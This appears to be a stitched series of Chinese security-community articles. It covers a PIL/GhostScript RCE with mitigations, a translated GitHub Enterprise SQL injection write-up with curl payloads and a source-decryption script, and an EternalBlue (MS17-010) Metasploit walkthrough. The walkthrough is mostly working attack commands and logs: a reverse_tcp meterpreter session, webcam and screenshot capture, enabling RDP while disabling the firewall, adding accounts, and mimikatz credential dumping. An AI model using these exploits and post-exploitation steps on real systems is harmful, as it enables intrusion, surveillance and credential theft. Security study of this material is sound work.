img_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
image_file.save(img_path)
height, width = get_img_size(img_path)
return '<html><body>the image\'s height : {}, width : {}; </body></html>'\
.format(height, width)
return '''
<!doctype html>
<title>Upload new File</title>
<h1>Upload new File</h1>
<form method=post enctype=multipart/form-data>
<p><input type=file name=file>
<input type=submit value=Upload>
</form>
'''
考虑到在 Windows 上面安装 PIL 和 GhostScript 可能会比较费劲，这里给大家提供一个
[dockerfile](https://github.com/neargle/PIL-RCE-By-GhostButt/blob/master/Dockerfile)。
git clone https://github.com/neargle/PIL-RCE-By-GhostButt.git && cd PIL-RCE-By-GhostButt
docker-compose build
docker-compose up -d
访问 <http://localhost:8000/> 可以看到文件上传页面。程序只使用允许后缀为 png
的文件上传，并在上传成功之后使用PIL获取图片长宽。我们修改poc，使用dnslog来验证漏洞。
页面截图:
DNSlog:
## 总结
### 什么情况下我们的web服务会受到该漏洞影响
* 使用Python PIL库处理图片(应该是任意版本)
* 环境中有GhostScript(version <= 9.21)
### 如何修复？
一个是升级 GhostScript 版本。当然更新 PIL 的版本并不能解决问题，因为 pip 不会帮我们升级GhostScript。
另外在 Python 代码里面，如果我们的web程序不需要处理 eps 格式，除了对文件头进行判断排除 eps
文件之外，借用PIL自带的程序逻辑，也可以避免产生命令执行漏洞。PIL.Image会在 `init()` 里面加载 PIL 目录下的所有图片格式的处理方法。
def init():
global _initialized
if _initialized >= 2:
return 0
for plugin in _plugins:
try:
logger.debug("Importing %s", plugin)
__import__("PIL.%s" % plugin, globals(), locals(), [])
except ImportError as e:
logger.debug("Image: failed to import %s: %s", plugin, e)
...
但同时也为我们提供了preinit()方法，该方法只加载 Bmp, Gif, Jpeg, Ppm,
Png，这五种常见图片格式的处理方法。只需在用`open`函数打开图片文件之前，使用 `preinit()`，并设置 `_initialized`
的值大于等于2，即可避免 Image 调用 GhostScript 去解析 eps 文件：
Image.preinit()
Image._initialized = 2
## 最后
其实 Python 开发过程中有很多经典的代码执行或者命令执行问题，包括但不限于以下几种:
* `pickle.loads(user_input)` : yaml, pickle等库在反序列化时产生的代码执行
* `Template(user_input)` : 模板注入(SSTI)所产生的代码执行
* `eval(user_input)` : eval等代码执行函数所导致的任意代码执行
* `subprocess.call(user_input, shell=True)` : popen, subprocess.call等函数所导致的命令执行
PIL 这里出现的问题是比较少被提及的，实际的生产环境中到底常不常见就只能期待大家的反馈了。欢迎任何角度的纠错以及观点独到的建议。感谢祝好。
## Link
* <https://github.com/neargle/PIL-RCE-By-GhostButt>
* <https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs921/ghostscript-9.21-linux-x86_64.tgz>
* <https://paper.seebug.org/310/> | 社区文章 |
# 【技术分享】Github企业版SQL注入漏洞分析
|
##### 译文声明
本文是翻译文章，文章来源：orange.tw
原文地址：<http://blog.orange.tw/2017/01/bug-bounty-github-enterprise-sql-injection.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**作者：[Orange Tsai ](http://blog.orange.tw/) 翻译：**[ **scriptkid**
****](http://bobao.360.cn/member/contribute?uid=2529059652)
**预估稿费：100RMB（不服你也来投稿啊！）**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:linwei@360.cn) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
**
**
**前言**
Github企业版是[github.com](https://github.com/)的一款定制版本，你可以用其在自己的私人网络中部署属于自己的完整github服务以用于商业目的。你可以在[enterprise.github.com](https://enterprise.github.com/)下载到相应的VM并获得45天的试用权，在你完成部署后，你将看到如下内容：
现在，我们拥有了所有的Github环境了，很有趣，所以我决定进一步深入。
**具体环境**
首先我们从端口扫描开始入手，在使用完我们的好朋友-Nmap之后，我们发现了VM中开放了6个端口。
$ nmap -sT -vv -p 1-65535 192.168.187.145
...
PORT STATE SERVICE
22/tcp open ssh
25/tcp closed smtp
80/tcp open http
122/tcp open smakynet
443/tcp open https
8080/tcp closed http-proxy
8443/tcp open https-alt
9418/tcp open git
在经过简单的推敲和服务探测后得出以下结论：
22/tcp和9418/tcp对应的服务像是haproxy，其将连接转发到后端名为babeld的服务。
80/tcp和443/tcp对应的为主要的Github服务。
122/tcp为SSH服务。
8443/tcp为Github的管理控制台。
顺便提一下，Github管理控制台需要密码登录，一旦你获取了密码，你就可以添加你的SSH
key并通过122/tcp来连接到VM。通过SSH连接到VM，我们检测了整个系统，然后发现服务的代码库应该是位于/data/文件夹下。
# ls -al /data/
total 92
drwxr-xr-x 23 root root 4096 Nov 29 12:54 .
drwxr-xr-x 27 root root 4096 Dec 28 19:18 ..
drwxr-xr-x 4 git git 4096 Nov 29 12:54 alambic
drwxr-xr-x 4 babeld babeld 4096 Nov 29 12:53 babeld
drwxr-xr-x 4 git git 4096 Nov 29 12:54 codeload
drwxr-xr-x 2 root root 4096 Nov 29 12:54 db
drwxr-xr-x 2 root root 4096 Nov 29 12:52 enterprise
drwxr-xr-x 4 enterprise-manage enterprise-manage 4096 Nov 29 12:53 enterprise-manage
drwxr-xr-x 4 git git 4096 Nov 29 12:54 failbotd
drwxr-xr-x 3 root root 4096 Nov 29 12:54 git-hooks
drwxr-xr-x 4 git git 4096 Nov 29 12:53 github
drwxr-xr-x 4 git git 4096 Nov 29 12:54 git-import
drwxr-xr-x 4 git git 4096 Nov 29 12:54 gitmon
drwxr-xr-x 4 git git 4096 Nov 29 12:54 gpgverify
drwxr-xr-x 4 git git 4096 Nov 29 12:54 hookshot
drwxr-xr-x 4 root root 4096 Nov 29 12:54 lariat
drwxr-xr-x 4 root root 4096 Nov 29 12:54 longpoll
drwxr-xr-x 4 git git 4096 Nov 29 12:54 mail-replies
drwxr-xr-x 4 git git 4096 Nov 29 12:54 pages
drwxr-xr-x 4 root root 4096 Nov 29 12:54 pages-lua
drwxr-xr-x 4 git git 4096 Nov 29 12:54 render
lrwxrwxrwx 1 root root 23 Nov 29 12:52 repositories -> /data/user/repositories
drwxr-xr-x 4 git git 4096 Nov 29 12:54 slumlord
drwxr-xr-x 20 root root 4096 Dec 28 19:22 user
切换到/data/文件夹下然后尝试查看源代码，但是貌似被加密了。
Github使用了自定义库来对源代码进行混淆，如果你Google搜索ruby_concealer.so，你就会发现有热心人士在这个[gist](https://gist.github.com/geoff-codes/02d1e45912253e9ac183)上写了一个小片段。在ruby_concealer.so中简单地将rb_f_eval替换为rb_f_puts就可以了，但是作为一个hacker，我们不能仅仅是使用现成的办法而不知道到底发生了什么。因此，让我们使用IDA
Pro来进行分析！
正如你所看到的，程序使用Zlib::Inflate::inflate来解压数据并与下面的key进行XOR操作：
This obfuscation is intended to discourage GitHub Enterprise customers from making modifications to the VM. We know this 'encryption' is easily broken.
所以我们可以很容易地自己完成该操作：
require 'zlib'
key = "This obfuscation is intended to discourage GitHub Enterprise customers from making modifications to the VM. We know this 'encryption' is easily broken. "
def decrypt(s)
i, plaintext = 0, ''
Zlib::Inflate.inflate(s).each_byte do |c|
plaintext << (c ^ key[i%key.length].ord).chr
i += 1
end
plaintext
end
content = File.open(ARGV[0], "r").read
content.sub! %Q(require "ruby_concealer.so"n__ruby_concealer__), " decrypt "
plaintext = eval content
puts plaintext
**代码分析**
在解开所有代码的混淆后，我们就可以开始代码审计了。
$ cloc /data/
81267 text files.
47503 unique files.
24550 files ignored.
http://cloc.sourceforge.net v 1.60 T=348.06 s (103.5 files/s, 15548.9 lines/s)
----------------------------------------------------------------------------------- Language files blank comment code
----------------------------------------------------------------------------------- Ruby 25854 359545 437125 1838503
Javascript 4351 109994 105296 881416
YAML 600 1349 3214 289039
Python 1108 44862 64025 180400
XML 121 6492 3223 125556
C 444 30903 23966 123938
Bourne Shell 852 14490 16417 87477
HTML 636 24760 2001 82526
C++ 184 8370 8890 79139
C/C++ Header 428 11679 22773 72226
Java 198 6665 14303 45187
CSS 458 4641 3092 44813
Bourne Again Shell 142 6196 9006 35106
m4 21 3259 369 29433
...
$ ./bin/rake about
About your application's environment
Ruby version 2.1.7 (x86_64-linux)
RubyGems version 2.2.5
Rack version 1.6.4
Rails version 3.2.22.4
JavaScript Runtime Node.js (V8)
Active Record version 3.2.22.4
Action Pack version 3.2.22.4
Action Mailer version 3.2.22.4
Active Support version 3.2.22.4
Middleware GitHub::DefaultRoleMiddleware, Rack::Runtime, Rack::MethodOverride, ActionDispatch::RequestId, Rails::Rack::Logger, ActionDispatch::ShowExceptions, ActionDispatch::DebugExceptions, ActionDispatch::Callbacks, ActiveRecord::ConnectionAdapters::ConnectionManagement, ActionDispatch::Cookies, ActionDispatch::Session::CookieStore, ActionDispatch::Flash, ActionDispatch::ParamsParser, ActionDispatch::Head, Rack::ConditionalGet, Rack::ETag, ActionDispatch::BestStandardsSupport
Application root /data/github/9fcdcc8
Environment production
Database adapter githubmysql2
Database schema version 20161003225024
大部分代码都是用Ruby编写的(Ruby on Rails and Sinatra)。
/data/github/看起来像是在80/tcp和443/tcp端口下运行的应用，并且可能是github.com,gist.github.com和api.github.com的代码库。
/data/render/看起来像是render.githubusercontent.com的代码库。
/data/enterprise-manage/应该是8443/tcp端口下对应的应用。
Github企业版使用enterprise和dotcom来检查应用是否运行于Enterprise Mode或者Github dot com mode？
**漏洞发现**
我花费了一周左右的时间来发现该漏洞，我对Ruby并不熟悉，但是可以在实践中学习不是吗！以下是我这一周的大概进度。
Day 1 – 安装配置VM
Day 2 – 安装配置VM
Day 3 – 通过代码审计学习Rails
Day 4 – 通过代码审计学习Rails
Day 5 – 通过代码审计学习Rails
Day 6 – 成功发现了SQL注入漏洞
SQL注入漏洞是在Github企业版中的PreReceiveHookTarget模块中发现的，具体位于/data/github/current/app/model/pre_receive_hook_target.rb的第45行：
33 scope :sorted_by, -> (order, direction = nil) {
34 direction = "DESC" == "#{direction}".upcase ? "DESC" : "ASC"
35 select(<<-SQL)
36 #{table_name}.*,
37 CASE hookable_type
38 WHEN 'global' THEN 0
39 WHEN 'User' THEN 1
40 WHEN 'Repository' THEN 2
41 END AS priority
42 SQL
43 .joins("JOIN pre_receive_hooks hook ON hook_id = hook.id")
44 .readonly(false)
45 .order([order, direction].join(" "))
46 }
尽管在Rails中已经有内建的ORM（ActiveRecord）来防止SQL注入，但是却存在许多的滥用导致可能存在SQL注入。更多的例子你可以参考[Rails-sqli.org](http://rails-sqli.org/)，这对于学习Rails的SQL注入很有帮助。在本例中，如果我们控制了order方法的参数，我们就可以注入我们的恶意payload到SQL语句中。
现在，就让我们进一步跟进，sorted_by在/data/github/current/app/api/org_pre_receive_hooks.rb的第61行中被调用：
10 get "/organizations/:organization_id/pre-receive-hooks" do
11 control_access :list_org_pre_receive_hooks, :org => org = find_org!
12 @documentation_url << "#list-pre-receive-hooks"
13 targets = PreReceiveHookTarget.visible_for_hookable(org)
14 targets = sort(targets).paginate(pagination)
15 GitHub::PrefillAssociations.for_pre_receive_hook_targets targets
16 deliver :pre_receive_org_target_hash, targets
17 end
...
60 def sort(scope)
61 scope.sorted_by("hook.#{params[:sort] || "id"}", params[:direction] || "asc")
62 end
可以看到params[:sort]作为参数被传入到scope.sorted_by中，因此，我们可以注入我们的恶意payload到params[:sort]。在触发该漏洞前，我们需要一个合法的access_token来访问API，幸运的是，我们可以通过以下命令来获取到：
$ curl -k -u 'nogg:nogg' 'https://192.168.187.145/api/v3/authorizations'
-d '{"scopes":"admin:pre_receive_hook","note":"x"}'
{
"id": 4,
"url": "https://192.168.187.145/api/v3/authorizations/4",
"app": {
"name": "x",
"url": "https://developer.github.com/enterprise/2.8/v3/oauth_authorizations/",
"client_id": "00000000000000000000"
},
"token": "????????",
"hashed_token": "1135d1310cbe67ae931ff7ed8a09d7497d4cc008ac730f2f7f7856dc5d6b39f4",
"token_last_eight": "1fadac36",
"note": "x",
"note_url": null,
"created_at": "2017-01-05T22:17:32Z",
"updated_at": "2017-01-05T22:17:32Z",
"scopes": [
"admin:pre_receive_hook"
],
"fingerprint": null
}
一旦获取到了access_token，我们就可以通过以下方式来触发漏洞了：
$ curl -k -H 'Accept:application/vnd.github.eye-scream-preview'
'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,(select+1+from+information_schema.tables+limit+1,1)'
[
]
$ curl -k -H 'Accept:application/vnd.github.eye-scream-preview'
'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,(select+1+from+mysql.user+limit+1,1)'
{
"message": "Server Error",
"documentation_url": "https://developer.github.com/enterprise/2.8/v3/orgs/pre_receive_hooks"
}
$ curl -k -H 'Accept:application/vnd.github.eye-scream-preview'
'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,if(user()="github@localhost",sleep(5),user())
{
...
}
**时间线**
2016/12/26 05:48 通过HackerOne向Github报告
2016/12/26 08:39 Github确认漏洞并着手修复。
2016/12/26 15:48 提供更多的漏洞细节
2016/12/28 02:44 Github回复漏洞在下个版本得到修复
2017/01/04 06:41 Github奖励$5000 USD漏洞奖金
2017/01/05 02:37 询问如果要发表blog是否有需要注意的点
2017/01/05 03:06 Github表示同意发表blog
2017/01/05 07:06 Github企业版2.8.5发布 | 社区文章 |
# 【技术分享】MSF框架实现“永恒之蓝”的闪电攻击
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
****
作者：[myles007](http://bobao.360.cn/member/contribute?uid=749283137)
预估稿费：300RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**一、攻击简介**
在NSA工具箱刚刚放出来的时候，大家都在学习怎么玩转这个工具箱中的“永恒之蓝”的攻击，相信每个小伙伴学习的使用的时，都很不适应并很是花费了一番周折才搞定它吧，而且每次使用还要准备好相应的条件，今天就跟大家分享下我们刚刚学习到利用MSF框架快速搞定“MS017-010”漏洞。
其实我们这里所说的使用MSF 实现 “永恒之蓝”的快速攻击，就是
**利用Metasploit中近期更新的针对ms17-101漏洞的攻击载荷进行攻击获取主机控制权限。我这里简单的记录下整个攻击利用所需要的工具准备、利用过程以及后渗透的一些简单内容。**
**二、工具准备**
那接下来让我们准备下相关的工具吧，相信大家肯定会说，不还是要准备环境吗，其实这个环境都是大家进程用到的基本工具环境，只是做下简单准备就OK了。
**2.1 nmap 环境准备**
（1）请将Nmap安装到当前最新版本(7.40以上)；
（2）确保 script脚本中包含smb-vuln-ms17-010.nse脚本；
在后面扫描检测是需要用到此脚本进行漏洞扫描检查，有关script脚本的存放位置在Nmap安装根目录下的有个“script”目录，直接进入搜索“ms17-010”，存在则无需再下载。
（3）相关软件下载
nmap下载地址：<https://nmap.org/download.html>
smb-vuln-ms17-010.nse下载地址：<https://nmap.org/nsedoc/scripts/smb-vuln-ms17-010.html>
**2.2 MSF 环境准备**
metasploit
其默认在kali中就自带有整个攻击框架，后续我们对我们简称其为MSF框架。因为我们要用到针对“永恒之蓝”漏洞的攻击，故需要将MSF框架升级到最新版本，至少在4.14.17版本以上。
**2.2.1 kali环境要求**
建议大家直接使用kali2.0的环境，这样后续进行MSF框架的升级也比较方便，不容易出现各种未知的问题，方面我们后续渗透攻击的展开。
（1） 编辑 kali 更新源
首先我配置kali的更新源：直接编辑更新源的配置文件“/etc/apt/sources.list” ,然后将下面的源复制进去保存即可。
国内kali镜像更新源：
1.#阿里云Kali源
2.deb http://mirrors.aliyun.com/kali kali main non-free contrib
3.deb-src http://mirrors.aliyun.com/kali kali main non-free contrib
4.deb http://mirrors.aliyun.com/kali-security kali/updates main contrib non-free
配置完源配置文件后，直接进行更新安装，具体命令如下。
root@kali:~# apt-get update && apt-get upgrade && apt-get dist-upgrade
（2）更新 kali系统
kali 源更新完后，我们进kali 内核的更新，具体更方法如下。
root@kali:apt-get install linux-headers-$(uname -r)
注：如果报错了的话可以输入这个试试
aptitude -r install linux-headers-$(uname -r
**2.2.2 MSF攻击框架版本要求**
MSF框架版本要求在 4.11.17版本以上，具体版本查看方法如下。
1.# msfconsole #进入框架
2.msfconsole> version
**三、主机发现**
对于主机的发现，我们可以使用的方法很多，这里简单记录和说明几种，供大家共同学习，每个人可根据主机的喜欢选择使用。
**3.1 fping**
在kali 系统同自带有fping这个扫描工具，有关于主机发现的扫描命令如下。
fping -asg 192.168.1.0/24
**3.2 nbtscan**
在 kali 中自带有nbtscan这个同网段主机发现工具，有关扫描命令记录下发。
nbtscan -r 192.168.1.0/24
**3.3 nmap**
关于namp 主机发现与扫描功能的强大，我们这里简单了记录几种个人常用的扫描方法。
（1） ping 包扫描
nmap -n -sS 192.168.1.0/24
（2） 指定端口发现扫描
nmap -n -p445 192.168.1.0/24 --open
（3） 针对漏洞脚本的定向扫描
nmap -n -p445 --script smb-vuln-ms17-010 192.168.1.0/24 --open
以上扫描中，针对本次演示攻击中的主机发现扫描，个人推荐使用 nmap -n -p445 192.168.1.0/24 –open 其扫描发现的效率最高。
**四、漏洞扫描**
在确定目标范围中那些主机是存活后，我们可以进行定向445端口的漏洞脚本扫描了，直接找到存在漏洞的目标主机，为后续的MSF攻击提供目标。
其实说到这里，大家会发现上面第三章节“主机发现”这一步，我们可以直接跳过，直接进定向445共享端口的漏洞扫描，上面之所以写出了，也是为了自己以后的学习和使用做一个笔记和记录。
**4.1 Nmap 漏洞扫描**
MS17-101漏洞定向扫描命令如下：
nmap -n -p445 --script smb-vuln-ms17-010 192.168.1.0/24 --open
1.Starting Nmap 7.40 ( https://nmap.org ) at 2017-06-06 09:38 ?D1迆㊣那℅?那㊣??
2.Nmap scan report for 192.168.1.1
3.Host is up (0.00088s latency).
4.PORT STATE SERVICE
5.445/tcp closed microsoft-ds
6.MAC Address: 94:0C:6D:11:9F:CE (Tp-link Technologies)
7.
8.Nmap scan report for 192.168.1.103
9.Host is up (0.072s latency).
10.PORT STATE SERVICE
11.445/tcp filtered microsoft-ds
12.MAC Address: 38:A4:ED:68:9E:25 (Xiaomi Communications)
13.
14.Nmap scan report for 192.168.1.109
15.Host is up (0.0059s latency).
16.PORT STATE SERVICE
17.445/tcp closed microsoft-ds
18.MAC Address: 60:02:B4:7B:4D:93 (Wistron Neweb)
19.
20.Nmap scan report for 192.168.1.112
21.Host is up (0.0040s latency).
22.PORT STATE SERVICE
23.445/tcp open microsoft-ds
24.MAC Address: 48:D2:24:FF:6A:CD (Liteon Technology)
25.
26.Host script results:
27.| smb-vuln-ms17-010:
28.| VULNERABLE:
29.| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
30.| State: VULNERABLE
31.| IDs: CVE:CVE-2017-0143
32.| Risk factor: HIGH
33.| A critical remote code execution vulnerability exists in Microsoft SMBv1
34.| servers (ms17-010).
35.|
36.| Disclosure date: 2017-03-14
37.| References:
38.| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
39.| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
40.|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
通过Nmap 的445端口定向漏洞扫描发现 192.168.1.112 存在MS17-010漏洞。
**4.2 MSF Auxiliary 辅助扫描**
其实如果不直接使用namp进行漏洞定向扫描，我们也可以直接使用MSF框架的辅助模块“”auxiliary”中的扫描模块进行扫描。了解MSF的同学肯定都知道，MSF的扫描模块基本也就是调用nmap扫描来实现的。这里就简单记录下这个“auxiliary/scanner/”扫描模块的下漏洞扫描方法。
msfconsole # 进入MSF框架
version # 确认下MSF的版本
search ms17_010 # 查找漏洞模块的具体路径
use auxiliary/scanner/smb/smb_ms17_010 # 调用漏洞扫描模块
show option # 查看模块配置选项
set RHOST 192.168.1.1-254 # 配置扫描目标
set THREADS 30 #配置扫描线程
run #运行脚本
这个使用下来，我们发现其实还没有namp 一条命令就搞定了，来的方便。
**五、MSF 漏洞利用过程**
通过以上所有环境的准备和漏洞扫描主机的发现，接下来使用MSF框架进行MS17-10漏洞的攻击，也就是“几秒”中的事情了，具体使用方法和过程记录如下。
**5.1 ms17-010 漏洞利用之MSF使用方法**
msfconsole # 进入MSF 框架
version # 确保MSF框架版本在 4.14.17以上；
search ms17_010 # 漏洞模块路径查询
set exploit/windows/smb/ms17_010_eternalblue # 调用攻击模块
set RHOST 192.168.1.112 # 设定攻击目标
exploit # 发起攻击
**5.2 ms17-010 漏洞攻击MSF框架实践记录**
**5.2.1 漏洞模块路径查询**
**5.2.2 调用和配置exploit攻击参数**
**5.2.3 发起攻击**
**5.2.4 获取shell**
获取的shell 后，我们可以通过名getuid查看下当前用户的权限。
**六、维持访问**
这里的说到维持访问，主要是想记录下关于使用meterpreter这个攻击载荷模块，我们在利用漏洞的过程中，如果可以使用meterpreter攻击载荷模块，尽量使用这个模块。
**6.1 payload 攻击载荷理论**
说到这里就就普及下MSF框架下关于“payload”攻击载荷的基本概念，那么什么是payload呢？
payload又称为攻击载荷，主要是用来建立目标机与攻击机稳定连接的，并返回一个shell，也可以进行程序注入等，payload有3种类型。
**（1）singles（独立载荷）**
独立载荷，可直接植入目标系统并执行相应的程序，如：shell_bind_tcp这个payload。
**（2）stagers（传输器载荷）**
传输器载荷，就是用于目标机与攻击机之间建立稳定的网络连接，与传stages（输体载荷配）合攻击。通常该种载荷体积都非常小，可以在漏洞利用后，方便进行注入，这类载荷功能都非常相似，大致分为bind型和reverse型。
bind型：需要攻击机主动连接目标端口的；
reverse型：目标机会反向连接攻击机，需要提前设定好连接攻击机的ip地址和端口号的配置。
**（3）stages（传输体）**
传输体载荷，如shell，meterpreter等。在stagers建立好稳定的连接后，攻击机将stages传输给目标机，由stagers进行相应处理，将控制权转交给stages。比如得到目标机的shell，或者meterpreter控制程序运行。这样攻击机可以在本端输入相应命令控制目标机。
由此可见，meterpreter其实就是一个payload，它需要stagers（传输器）和相应的stages（传输体）配合运行，meterpreter是运行在内存中的，通过注入dll文件实现，在目标机硬盘上不会留下文件痕迹，所以在被入侵时很难找到。真因为这点，所以meterpreter非常可靠稳定优秀。
**6.2 payload 攻击载荷理解**
上面说了这么多，可能大家看起来比较费劲难以理解，其实简单的理解就是说payload攻击载荷有2个大的类型：
**（1） 独立体（single）**
从这个英文单词single,就可以大概知道这类payload是个独立，单独的意思，其实在结合定义我们就可以看出，攻击载荷一般做两件事情
一、就是建立目标主机与攻击主机之间的网络连接；
二、就是在连接建立的基础上获取目标主机的控制权限，即获取可供操作的shell。
**（2）结合体payload**
在理解了一个完整的payload是有两部分组成的基础上，我们可以理解我们这里所说的结合体了，其实就是将原本的single独立体分割为了两个部分：“传输器载荷”与“传输体载荷”（stages
& stagers）
比如“windows/meterpreter/reverse_tcp”是由一个传输器载荷（reverse_tcp）和一个传输体载荷（meterpreter）所组成的，其功能等价于独立攻击载荷“windows/shell_reverse_tcp”
**6.3 meterpreter 攻击载荷实战**
我们这里就使用MS17-010漏洞渗透模块结合meterpreter攻击载荷模块进行一次实战演练,通过永恒之蓝漏洞我们来获取一个meterpreter，顺道看meterpreter功能的强大之处。
其他攻击流程与前面基本相同，唯独多了一个配置 payload攻击载荷的过程，具体配置如下。
**6.3.1 攻击载荷配置过程**
调用exploit 攻击
use exploit/windows/smb/ms17_010_eternalblue
set rhost 192.168.1.112
配置攻击载荷
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.1.118
发起攻击
exploit
获取shell
getuid
**6.3.2 具体实操过程记录**
1.msf > use exploit/windows/smb/ms17_010_eternalblue # 调用ms17-010永恒之蓝漏洞攻击模块
2.msf exploit(ms17_010_eternalblue) > set rhost 192.168.1.112 # 设定攻击目标 192.168.1.112
3.rhost => 192.168.1.112
4.msf exploit(ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp # 调用反弹的攻击载荷
5.payload => windows/x64/meterpreter/reverse_tcp
6.msf exploit(ms17_010_eternalblue) > set lhost 192.168.1.118 # 设定将meterpreter 反弹给192.168.1.118
7.lhost => 192.168.1.118
8.msf exploit(ms17_010_eternalblue) > show options # 查询攻击参数设置
9.
10.Module options (exploit/windows/smb/ms17_010_eternalblue):
11.
12. Name Current Setting Required Description
13. ---- --------------- -------- ----------- 14. GroomAllocations 12 yes Initial number of times to groom the kernel pool.
15. GroomDelta 5 yes The amount to increase the groom count by per try.
16. MaxExploitAttempts 3 yes The number of times to retry the exploit.
17. ProcessName spoolsv.exe yes Process to inject payload into.
18. RHOST 192.168.1.112 yes The target address
19. RPORT 445 yes The target port (TCP)
20. VerifyArch true yes Check if remote architecture matches exploit Target.
21. VerifyTarget true yes Check if remote OS matches exploit Target.
22.
23.
24.Payload options (windows/x64/meterpreter/reverse_tcp):
25.
26. Name Current Setting Required Description
27. ---- --------------- -------- ----------- 28. EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
29. LHOST 192.168.1.118 yes The listen address
30. LPORT 4444 yes The listen port
31.
32.
33.Exploit target:
34.
35. Id Name
36. -- ---- 37. 0 Windows 7 and Server 2008 R2 (x64) All Service Packs
38.
39.
40.msf exploit(ms17_010_eternalblue) > exploit # 发起攻击
41.
42.[*] Started reverse TCP handler on 192.168.1.118:4444
43.[*] 192.168.1.112:445 - Connecting to target for exploitation.
44.[+] 192.168.1.112:445 - Connection established for exploitation.
45.[+] 192.168.1.112:445 - Target OS selected valid for OS indicated by SMB reply
46.[*] 192.168.1.112:445 - CORE raw buffer dump (23 bytes)
47.[*] 192.168.1.112:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61 Windows 7 Ultima
48.[*] 192.168.1.112:445 - 0x00000010 74 65 20 36 2e 31 00 te 6.1
49.[+] 192.168.1.112:445 - Target arch selected valid for OS indicated by DCE/RPC reply
50.[*] 192.168.1.112:445 - Trying exploit with 12 Groom Allocations.
51.[*] 192.168.1.112:445 - Sending all but last fragment of exploit packet
52.[*] 192.168.1.112:445 - Starting non-paged pool grooming
53.[+] 192.168.1.112:445 - Sending SMBv2 buffers
54.[+] 192.168.1.112:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
55.[*] 192.168.1.112:445 - Sending final SMBv2 buffers.
56.[*] 192.168.1.112:445 - Sending last fragment of exploit packet!
57.[*] 192.168.1.112:445 - Receiving response from exploit packet
58.[+] 192.168.1.112:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
59.[*] 192.168.1.112:445 - Sending egg to corrupted connection.
60.[*] 192.168.1.112:445 - Triggering free of corrupted buffer.
61.[*] Sending stage (1189423 bytes) to 192.168.1.112
62.[*] Meterpreter session 1 opened (192.168.1.118:4444 -> 192.168.1.112:49177) at 2017-06-07 13:42:17 +0800
63.[+] 192.168.1.112:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
64.[+] 192.168.1.112:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
65.[+] 192.168.1.112:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
66.
67.meterpreter > getuid # 查询当前用户权限为SYSTEM,获取到到最高权限
68.Server username: NT AUTHORITYSYSTEM
69.meterpreter > sysinfo # 系统信息查询，当前系统为 Windows7
70.Computer : CHINAMAN-PC
71.OS : Windows 7 (Build 7600).
72.Architecture : x64
73.System Language : zh_CN
74.Domain : WORKGROUP
75.Logged On Users : 0
76.Meterpreter : x64/windows
77.meterpreter >
**6.3.3 meterpreter 功能展现**
（1）桌面抓图
1\. meterpreter > screenshot
（2）视频开启
1\. meterpreter > webcam_scream
（3）开启远程桌面
1\. > meterpreter > run post/windows/manage/enable_rdp
2\. 此命令可以帮我们一建开启远程桌面，并帮我们关闭防火墙，真的牛xxx.
注：一开始使用命令 run getgui -u admin -p passw0rd
没能开启远程RDP桌面，后来才查询到上面这个攻击脚本。当然并不是说，就不能用哦。
（4）添加账号
直接进入系统shell,添加账号（结果失败）
1.> shell
2.> net user test 123 /add
3\. … #
一直没有回显，怀疑是由于安装了360导致的，后来进过验证的确是这原因，所有说安装个360还是很有用的，不要总是说人家是流氓软件，不是打广告哈,切实感受…
（5）获取系统管理密码
想直接添加账号进行提权，前面操作是不了，那么我们现在就出杀手锏，直接使用mimikatz来获取系统管理账号的密码。
第一步：载入mimikatz
1\. meterpreter > load mimikatz
第二步：使用命令wdigest获取密码
1.meterpreter > wdigest
2.[+] Running as SYSTEM
3.[*] Retrieving wdigest credentials
4.wdigest credentials
5.===================
6.
7.AuthID Package Domain User Password
8.------ ------- ------ ---- -------- 9.0;997 Negotiate NT AUTHORITY LOCAL SERVICE
10.0;996 Negotiate WORKGROUP CHINAMAN-PC$
11.0;47327 NTLM
12.0;999 NTLM WORKGROUP CHINAMAN-PC$
13.0;636147 NTLM ChinaMan-PC ChinaMan mima-009
14.>
注：Mimikatz 的命令帮助：
1.Mimikatz Commands
2.=================
3.
4. Command Description
5. ------- ----------- 6. kerberos Attempt to retrieve kerberos creds
7. livessp Attempt to retrieve livessp creds
8. mimikatz_command Run a custom command
9. msv Attempt to retrieve msv creds (hashes)
10. ssp Attempt to retrieve ssp creds
11. tspkg Attempt to retrieve tspkg creds
12. wdigest Attempt to retrieve wdigest creds
（6）远程桌面连接之
另开启一个terminal，使用名rdesktop 连接远程桌面
1.root# rdesktop 192.168.1.112 -u user -p passw0rd
有关meterpreter
的功能还有很多，这里就不足做过多的说明了，就是简单记录下本次实战演练过程中遇到的各种问题和小技能有关其他的功能使用可以参考其他文档做进一步的学习。
**参考学习**
<https://www.zybuluo.com/mdeditor#728079-full-reader>
<https://www.hx99.net/Article/Tech/201505/36750.html>
<http://blog.sina.com.cn/s/blog_4c86552f0102wll1.html> | 社区文章 |
# 办公软件历史远程命令执行漏洞分析
##### 译文声明
本文是翻译文章
